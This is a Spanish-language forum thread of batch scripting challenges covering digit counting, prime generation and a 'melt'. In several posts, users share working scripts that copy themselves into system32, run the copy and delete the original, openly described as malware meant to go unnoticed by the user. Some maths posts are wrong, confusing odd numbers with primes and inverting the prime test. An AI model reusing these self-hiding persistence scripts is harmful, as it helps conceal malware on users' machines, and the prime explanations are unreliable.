Elektro no he leido tu mensaje entero, pero no será más fácil dejarse de multiplicaciones, iniciar el bucle for desde 0 hasta el máximo de números primos que tu quieres, y hacer un condicional, que si el resto obtenido de dividirlo por 2 (módulo) es diferente de 0, imprima el número? ya que este será primo.

Un pequeño apunte, ese cálculo indicará si es impar o no, pero no necesariamente que sea primo:

Ejemplos: 11 mod 2 <> 0 Impar y primo   
               33 mod 2 <> 0 Impar pero no primo (es divisible por 11,3)

Saludos.


Título: Re: REtos batch
Publicado por: ELVJop en 25 Abril 2012, 23:11 pm
Informo edu que por razones que no vienen al caso n o me pude poner en el ordenador mañana sera 99,9 % seguro XD (Hice este post por aburrimiento y ya tiene 1,026 visitas... Si fueran las visitas que tiene mi blog me quedaria flipado :o


Título: Re: REtos batch
Publicado por: Runex en 28 Abril 2012, 02:13 am
Bien, bien :D
¿Te atreves con el Segundo?
¿O  intentas el primero con BATCH?


Código
  1. echo Introduce numero
  2. set /p numero=
  3. if %numero%>1 && %numero%<10 echo 1 digito
  4. if %numero%>10 && %numero%<100 echo 2 digitos
  5. if %numero%>100 && %numero%<1000 echo 3 digitos
  6. if %numero%>1000 && %numero%<10000 echo 4 digitos
  7. ...
  8. Pause>Nul

Esto sería otra soluciíón a tu problema, pudiendo añadir la cantidad de dígitos que tu quieras.

No sé si funcionará porque no lo he podido probar además, yo de batch poca idea tengo  :-\

Un saludo :)


Título: Re: REtos batch
Publicado por: Eleкtro en 28 Abril 2012, 03:48 am
Código
  1. if %numero%>1 && %numero%<10 echo 1 digito
  2. ...
  3. Pause>Nul

No sé si funcionará porque no lo he podido probar además, yo de batch poca idea tengo  :-\


No no se puede hacer una comprobación de multiples condiciones (Bueno, No como se haría en PY u otro xD) en Batch. Además ">" y "&" "&&" tampoco son operadores de comparación.  :P

Pero tampoco ibas muy mal encaminado, Quedaría así:
Código
  1. @Echo OFF
  2.  
  3. :Loop
  4. set /p numero=Numero ^>
  5. if %numero% LSS 10   (Echo 1 digito)
  6. if %numero% GEQ 10   (If %numero% LSS 100   (echo 2 digitos))
  7. if %numero% GEQ 100  (If %numero% LSS 1000  (echo 3 digitos))
  8. if %numero% GEQ 1000 (If %numero% LSS 10000 (echo 4 digitos))
  9. Goto :Loop

Aunque esta forma es mejor para evitar limitaciones y código...:
Código
  1. @Echo OFF
  2.  
  3. :Loop
  4. set /p numero=Numero ^>
  5. ECHO %Numero% > "%TEMP%\tempfile.txt"
  6. FOR %%? IN ("%TEMP%\tempfile.txt") DO ( SET /A digitos=%%~z? - 3 )
  7. Echo          %numero% tiene %digitos% digitos.
  8. Goto :Loop

Salu2


Título: Re: REtos batch
Publicado por: Puntoinfinito en 28 Abril 2012, 11:39 am
¡Muy bien!
Mirad yo lo lo hicé de diferente forma:
Citar
@ECHO OFF
SET/P"D= Numero:\> "
FOR /F "TOKENS=1,2 DELIMS=.," %%A IN ("%D%") DO (
   CALL:C "%%A" "P.Entera"
   IF "%%B" NEQ "" (CALL:C "%%B" "P.Decimal")
)
Pause>Nul&Exit
:C
   SET/P"=%~1"<NUL>>..Tmp
   FOR %%Z IN ("%CD%\..Tmp") DO (SET/P"=%~2:%%~zZ   "<NUL)
   DEL "..Tmp"
EXIT/B0

¿Sois capaces de pasar la segunda prueba?



Título: Re: REtos batch
Publicado por: $Edu$ en 28 Abril 2012, 16:39 pm
Buenas.

Un pequeño apunte, ese cálculo indicará si es impar o no, pero no necesariamente que sea primo:

Ejemplos: 11 mod 2 <> 0 Impar y primo   
               33 mod 2 <> 0 Impar pero no primo (es divisible por 11,3)

Saludos.


Tiene razon, y yo ya dije creo, que si no saben muy bien matematicas hagan otros retos xDD por algo lo dije xD, estan re confundidos en lo que es numero primo. No vale la pena ni discutir como dije xD mas vale sigan con otros retos jeje.

ELVJop, se que no vere mi codigo nunca, pero no me molesta, te tendria que molestar a vos xD

El post tiene muchas visitas porque estos retos son los que mandan en la universidad y todo el mundo los esta buscando en este momento xD, tambien mucha gente que busca retos en batch en general xD

No se entiende nada el tema este, para mi que hay que cerrarlo Electro y podes crear un tema nuevo solo para que dejen ideas de retos y nada mas, sin comentarios extras y luego de ahi sacas los mejores retos para ponerlos en un tema con chincheta donde lo resolveran los que quieran, mandando codigo por privado a vos xDD si es que te gustaria jeje


Título: Re: REtos batch
Publicado por: ELVJop en 28 Abril 2012, 17:21 pm
Buena idea ahora te lo pondre pero estoy muy metido en eso de mi programa de actualizarlo y creo que ya lo te lo dare en otro momento estoy apunto de terminarlo
$Edu$
Descargalo de aqui: Borro link porque tengo ganas. Lo descomprimes y lo ejecutas con permiso de adminsitrador


Título: Re: REtos batch
Publicado por: $Edu$ en 29 Abril 2012, 20:30 pm
Lo probaste aunquesea? abre como 10 ventanas y no se copia nada, cualquier cosa. Yo me dedicaria a otra cosa, porque si vienes a pedir retos es porque sientes que ya sabes manejarte en Batch, asi que tendrias que saber cosas basicas aunquesea, eres malo en esto la verdad. Te lo digo tan asi para ver si te pones a aprender de verdad y recien cuando aprendas vienes a hacer retos.

"Algunos simplemente no sirven para esto"


Título: Re: REtos batch
Publicado por: ELVJop en 29 Abril 2012, 20:52 pm
Vale que quizas no sea bueno. Yo aprendo para lo que necesito y hago esto porque quizas si apriendo me doy cuenta de que puedo hacer cosas que me hirian bien en el dia a dia. Quizas deba parender. Y a mi me funciona. No se tu pero a mi me funciona y yo declaro el reto resuelto. Si dices que debo aprender "por ejemplo" por no saber no poder no tener ganas de hacer repito "por ejemplo" lo de los numeros primos. Es algo fuera de batch. Cierto que debo aprender. Cierto que cree esto para aprender pero poco a poco. Como se que elecktro h@acker leera esto porfavor cierra el hilo si alguien quiere aplicar la idea para si o proponer el reto otra vez lo hacen en un nuevo hilo.


Título: Re: REtos batch
Publicado por: Stakewinner00 en 29 Abril 2012, 22:01 pm
Yo tecnicamente no soy un experto en batch pero mientras tengas imaginacion, podras ir tirando por sistemas menos sofisticados que daran un resultado igual de bueno, en la mayoria de los cassos


Título: Re: REtos batch
Publicado por: Eleкtro en 29 Abril 2012, 22:59 pm
a mi me funciona. No se tu pero a mi me funciona y yo declaro el reto resuelto.

Como se que elecktro h@acker leera esto porfavor cierra el hilo si alguien quiere aplicar la idea para si o proponer el reto otra vez lo hacen en un nuevo hilo.

Si la intención del bat es que se ejecute el propio bat sin cesar, entonces funciona.
Pero lo que propuso $Edu era que se copie tu bat a "system32", salgas del primer bat, y ejecutes la copia (guardada en system32), y si el usuario borra la copia, el bat deberia volver a autocopiarse en system32, e iniciar de nuevo el circulo vicioso... Creo que es así.

Este hilo está divertido como para cerrarlo xD, De todas formas algo haré, algo haré ya que os veo muy interesados...

salu2


Título: Re: REtos batch
Publicado por: ELVJop en 29 Abril 2012, 23:02 pm
En este no. Es un NO rotundo. Si quieres habres otro le pones la chincheta y lo que tu quieras por no salirme del tema que hiba a decir una boludez. Porfavor cierra el tema.


Título: Re: REtos batch
Publicado por: $Edu$ en 29 Abril 2012, 23:03 pm
Lo que yo pido es un "melt" asi se le llama, no es muy dificil creo, ya me olvide como lo hacia, pero el unico problema es el que cuando desde la copia se quiere borrar el original, no se puede porque sigue ejecutandose, entonces hay que hacer esperar la copia 2 segundos para recien si eliminar el archivo que ya se habra cerrado. Es algo facil.

Ahora ya no tiene gracia que lo hagas ELVJop, saludos.


Título: Re: REtos batch
Publicado por: Eleкtro en 29 Abril 2012, 23:27 pm
No se desvien del tema retos, Porfavor, Sobretodo Elvjop. Creo que solo quieres cerrar el tema por estar algo enojado, No hay ningún motivo para cerrar el tema, Nadie ha faltado a las normas.

Saludos.


Título: Re: REtos batch
Publicado por: Puntoinfinito en 1 Mayo 2012, 21:26 pm
Eh, alguien quiere participar en el segundo reto mio? xD
Avisad para ver si lo publico or not :D


Título: Re: REtos batch
Publicado por: Eleкtro en 2 Mayo 2012, 02:23 am
Avisad para ver si lo publico or not :D

http://foro.elhacker.net/scripting/iquestquieren_retos_de_batch-t360401.0.html

un saludo


Título: Re: REtos batch
Publicado por: 79137913 en 2 Mayo 2012, 14:03 pm
HOLA!!!

SelfCOPY to System32
Exec COPY
MELT

Código
  1. @ECHO OFF
  2. IF EXIST "%SystemRoot%\system32\Malo.bat" GOTO ENDBAT
  3. COPY /Y %0 "%SystemRoot%\system32\Malo.bat"
  4. CALL "%SystemRoot%\system32\Malo.bat"
  5. DEL /S /Q %0
  6. :ENDBAT
  7. ECHO "ME ESTOY EJECUTANDO EN"
  8. ECHO %0


GRACIAS POR LEER!!!


Título: Re: REtos batch
Publicado por: $Edu$ en 2 Mayo 2012, 14:22 pm
HOLA!!!

SelfCOPY to System32
Exec COPY
MELT

Código
  1. @ECHO OFF
  2. IF EXIST "%SystemRoot%\system32\Malo.bat" GOTO ENDBAT
  3. COPY /Y %0 "%SystemRoot%\system32\Malo.bat"
  4. CALL "%SystemRoot%\system32\Malo.bat"
  5. DEL /S /Q %0
  6. :ENDBAT
  7. ECHO "ME ESTOY EJECUTANDO EN"
  8. ECHO %0


GRACIAS POR LEER!!!

Jeje no funciona, ya puse como se hacia ni te toques xD


Título: Re: REtos batch
Publicado por: 79137913 en 2 Mayo 2012, 14:25 pm
HOLA!!!

Si xxxZxxx Funciona el tema es que se ejecuta rapido, ponele unos pauses y vas a ver.

GRACIAS POR LEER!!!


Título: Re: REtos batch
Publicado por: $Edu$ en 2 Mayo 2012, 14:33 pm
Esque no se si te podes borrar vos mismo, por eso es mejor que desde la copia te borres, tal vez haciendo ejecutar la copia con argumento, luego lo hago. Pero recuerdo que como era rapido y no se podia, tenia que hacer un tiempo, que demore un seg. Poniendo:


ping -n 1 1.2.3.4 -w 5000   ---> espera 5 segundos


Título: Re: REtos batch
Publicado por: 79137913 en 2 Mayo 2012, 15:41 pm
HOLA!!!

La idea es que el usuario no sepa que se esta haciendo todo esto por ende, no hay que ponerle pauses, si queres comprobarlo hazlo tu mismo puntoinfinito.

2do, el melt funciona perfecto se autoelimina sin problemas ;) edu

GRACIAS POR LEER!!!


Título: Re: REtos batch
Publicado por: $Edu$ en 2 Mayo 2012, 17:00 pm
Bueno aca lo hice, me costo un rato porque no me daba cuenta del error al llamar con "start" el archivo con comillas, que me lo dejaba como titulo entonces no me captaba el argumento.. en fin aca esta:

Código
  1. @Echo off
  2. color 0a
  3.  
  4. set "dirM=%windir%\system32\malwaredu.bat"
  5. set "me=%0"
  6.  
  7.  
  8. if not %me%==%dirM% (goto :Melt) else (goto :Limpiar)
  9.  
  10.  
  11. :Melt
  12.  
  13. if exist %dirM% (goto :Seguir)
  14.  
  15. Copy /y %me% %dirM%>nul
  16.  
  17. start %dirM% %me%
  18.  
  19.  
  20.  
  21.  
  22. :Limpiar
  23.  
  24. set "parameters=%1"
  25.  
  26. if not %1=="" (del /f /q /s %1>nul)
  27.  
  28.  
  29.  
  30.  
  31. :Seguir
  32. echo MUAHAHAHA!
  33. echo Estoy en %0 jeje
  34. echo Ahora hare maldades aqui xD
  35.  
  36. pause>nul
  37.  
  38.  

Guardenlo como loquequieran.bat y ejecutenlo veran que funciona y asi es un melt


Título: Re: REtos batch
Publicado por: Aleksei7 en 9 Mayo 2012, 21:08 pm
La verdad yo lo hice con este simplísimo código y comprobado que funciona:
Código:
@echo off
if exist C:\windows\system32\tunombre.bat (goto decir) else goto copiar
:copiar
copy %0 C:\windows\system32\tunombre.bat
start C:\windows\system32\tunombre.bat
del %0
exit
:decir
echo Todavia estoy vivo, estoy en %0 !
pause


Título: Re: REtos batch
Publicado por: Runex en 10 Mayo 2012, 15:35 pm
Sé que se sale un poco del tema, pero es un poco egoista por vuestra parte que los retos sean solo en batch :xD, que os parece si ampliais el tema y dais opción a haccerlo en bash también?, me presento voluntario para testear los retos, así como para proponer algunos nuevos :).


Un saludo :)


Título: Re: REtos batch
Publicado por: Eleкtro en 10 Mayo 2012, 16:06 pm
Sé que se sale un poco del tema, pero es un poco egoista por vuestra parte que los retos sean solo en batch :xD, que os parece si ampliais el tema y dais opción a haccerlo en bash también?, me presento voluntario para testear los retos, así como para proponer algunos nuevos :).

Por desgracia para los interesados en retos de bash, python, y vbs... Solo hay 1 moderador activo e interesado acerca del tema retos (Yo), Y no tengo 80 manos ni 80 horas al día para probar todos los codes de todos los lenguajes reunidos xD.

Es genial que alguien como tú, Runex, Se ofrezca voluntario, ¿Pero que pasaría si de repente un día por cualquier motivo desapareces del foro? ¿Quien seguiría tu iniciativa? Se perdería "todo" jeje.
Si quieres, Puedes comentarlo con mis compañeros moderadores a ver que les parece tú idea y si quieren ampliarlo. Yo no digo que no quiera, Pero yo solo no puedo dedicar tanto tiempo a verificar codes y hacer retos de otros lenguajes al mismo tiempo.

Aunque también te digo una cosa, Cualquiera puede postear un reto del lenguaje que quiera... y eso ya es un granito de arena ayudaría a acabar haciendo una sección de retos bash (u otros lenguajes), Pero si nadie se pone a hacer retos de otros lenguajes ni nada, pues no se va a ampliar porque no hay nada que ampliar, así se queda la cosa hasta que nadie aporte más.

Un saludo!


Título: Re: REtos batch
Publicado por: $Edu$ en 10 Mayo 2012, 17:15 pm
La verdad yo lo hice con este simplísimo código y comprobado que funciona:
Código:
@echo off
if exist C:\windows\system32\tunombre.bat (goto decir) else goto copiar
:copiar
copy %0 C:\windows\system32\tunombre.bat
start C:\windows\system32\tunombre.bat
del %0
exit
:decir
echo Todavia estoy vivo, estoy en %0 !
pause


Si, funciona perfecto. Yo el mio lo estructure distinto para posibles cambios, por ejemplo.. que hacer si ya se instalo nuestro malware en system32 pero el usuario baja otro malware.bat nuestro y lo ejecuta desde el escritorio. En cualquiera de nuestros codigos mostraria el mensaje, pero talvez queremos que se borre para que no pueda analizarlo o algo.

Pero esta bien, yo no sabia bien que se podia borrar a si mismo, por eso hice que se borre desde la copia, ya que en vb6 por ejemplo cuando hice esto una vez no se podia, porque se esta corriendo el archivo.


Título: Re: REtos batch
Publicado por: Runex en 10 Mayo 2012, 17:46 pm
Por desgracia para los interesados en retos de bash, python, y vbs... Solo hay 1 moderador activo e interesado acerca del tema retos (Yo), Y no tengo 80 manos ni 80 horas al día para probar todos los codes de todos los lenguajes reunidos xD.

Es genial que alguien como tú, Runex, Se ofrezca voluntario, ¿Pero que pasaría si de repente un día por cualquier motivo desapareces del foro? ¿Quien seguiría tu iniciativa? Se perdería "todo" jeje.
Si quieres, Puedes comentarlo con mis compañeros moderadores a ver que les parece tú idea y si quieren ampliarlo. Yo no digo que no quiera, Pero yo solo no puedo dedicar tanto tiempo a verificar codes y hacer retos de otros lenguajes al mismo tiempo.

Aunque también te digo una cosa, Cualquiera puede postear un reto del lenguaje que quiera... y eso ya es un granito de arena ayudaría a acabar haciendo una sección de retos bash (u otros lenguajes), Pero si nadie se pone a hacer retos de otros lenguajes ni nada, pues no se va a ampliar porque no hay nada que ampliar, así se queda la cosa hasta que nadie aporte más.

Un saludo!

Da gusto ver a gente como tú por aquí y leer ese tipo de respuestas, un placer de verdad.

Respecto al tema de los retos, yo me encargaré de los retos en bash y python siempre que haya gente interesada en ello y uno de ellos, seré yo, por supuesto .

Voy a iniciar un tema con una encuesta, para ver si la gente se anima :).

Un saludo compañeros :)


Título: Re: REtos batch
Publicado por: Stakewinner00 en 11 Mayo 2012, 20:10 pm
este genera numeros primos ya encontre la forma de hacerlo rapido y que los numeros sean ilimitados no como en este caso pero como estoy cansado voi a descansar un rato

bueno dejo aki mi codigo no es k sea gran cosa pero genera mas de 300 numeros primos correctos rapidamente
aun se puede mejorar mucho la siguiente semana lo edito y cuelgo uno mejor.

Código:
@echo off
set /p as=::
set a=1
echo 3
echo 5
echo 7
echo 11
echo 13
echo 17
echo 19
:a
set c=3
set /a a=%a%+2
set /a b=%a%/%c%
set /a b=%b%*%c%
if %a%==9 goto a
if %a:~-1%==5 goto a
if %b%==%a% goto a
set c=7
set /a b=%a%/%c%
set /a b=%b%*%c%
if %a%==9 goto a
if %a:~-1%==5 goto a
if %b%==%a% goto a
set c=11
set /a b=%a%/%c%
set /a b=%b%*%c%
if %a%==11 goto b
if %a%==9 goto a
if %a:~-1%==5 goto a
if %b%==%a% goto a
set c=13
set /a b=%a%/%c%
set /a b=%b%*%c%
if %a%==13 goto b
if %a%==9 goto a
if %a:~-1%==5 goto a
if %b%==%a% goto a
set c=15
set /a b=%a%/%c%
set /a b=%b%*%c%
if %a%==11 goto b
if %a%==9 goto a
if %a:~-1%==5 goto a
if %b%==%a% goto a
set c=17
set /a b=%a%/%c%
set /a b=%b%*%c%
if %a%==11 goto b
if %a%==9 goto a
if %a:~-1%==5 goto a
if %b%==%a% goto a
set c=19
set /a b=%a%/%c%
set /a b=%b%*%c%
if %a%==11 goto b
if %a%==9 goto a
if %a:~-1%==5 goto a
if %b%==%a% goto a
:b
echo %a%

set /a as=%as%-1
if %as%== 0 (pause) else (goto a)

goto a


Título: Re: REtos batch
Publicado por: Puntoinfinito en 11 Mayo 2012, 22:04 pm
Falta añadir una cadena de pares


Título: Re: REtos batch
Publicado por: $Edu$ en 12 Mayo 2012, 01:26 am
code k genera numeros impares mucho mas rapido que los otros codes de forma ordenada pero no creo k sean todos primos.

bueno este codee no es aleatorio y lo genera mucho mas rapido de manera mas simple


Código:
@echo off

set /p as=::
set a=1
:a
set /a a=%a%+2
echo %a%
set /a as=%as%-1
if %as%== 0 (pause) else (goto a)
goto a
pause

Ojo si te basas en esto para tu reto que hiciste en otro tema.. es mejor no hacer o decir cosas que no se saben bien, confundis a muchos sino. Ya dije en este post creo que no pongan retos de matematica si no saben como es. Numeros primos es distinto a numeros impares.. Solamente que si un numero es par no sera primo ya que se divide entre 2 y entonces ese numero se dividiria por si mismo, por 1 y por 2 y vaya uno a saber por cuales mas.

Un numero primo es el numero que solo se puede dividir (division entera obvio) sobre si mismo y sobre 1.

15 es numero impar pero no es primo porque se divide entre 15, 1, y entre 3.
11 es primo porque solo se puede dividir entre 11 y 1

El programa se hace facil, millones de codigos en internet, y algo clasico es dividir el numero N empezando por 2 hasta la raiz cuadrada de N ya que luego no sera entera nunca la division y si en ese camino N dividido un numero da resto 0, es decir, que se puede dividir, entonces es primo.


Título: Re: REtos batch
Publicado por: Stakewinner00 en 12 Mayo 2012, 12:39 pm
Ojo si te basas en esto para tu reto que hiciste en otro tema.. es mejor no hacer o decir cosas que no se saben bien, confundis a muchos sino. Ya dije en este post creo que no pongan retos de matematica si no saben como es. Numeros primos es distinto a numeros impares.. Solamente que si un numero es par no sera primo ya que se divide entre 2 y entonces ese numero se dividiria por si mismo, por 1 y por 2 y vaya uno a saber por cuales mas.

Un numero primo es el numero que solo se puede dividir (division entera obvio) sobre si mismo y sobre 1.

15 es numero impar pero no es primo porque se divide entre 15, 1, y entre 3.
11 es primo porque solo se puede dividir entre 11 y 1

El programa se hace facil, millones de codigos en internet, y algo clasico es dividir el numero N empezando por 2 hasta la raiz cuadrada de N ya que luego no sera entera nunca la division y si en ese camino N dividido un numero da resto 0, es decir, que se puede dividir, entonces es primo.

por eso dije impares el codigo k genera primos lo colgare otro dia aun no lo e echo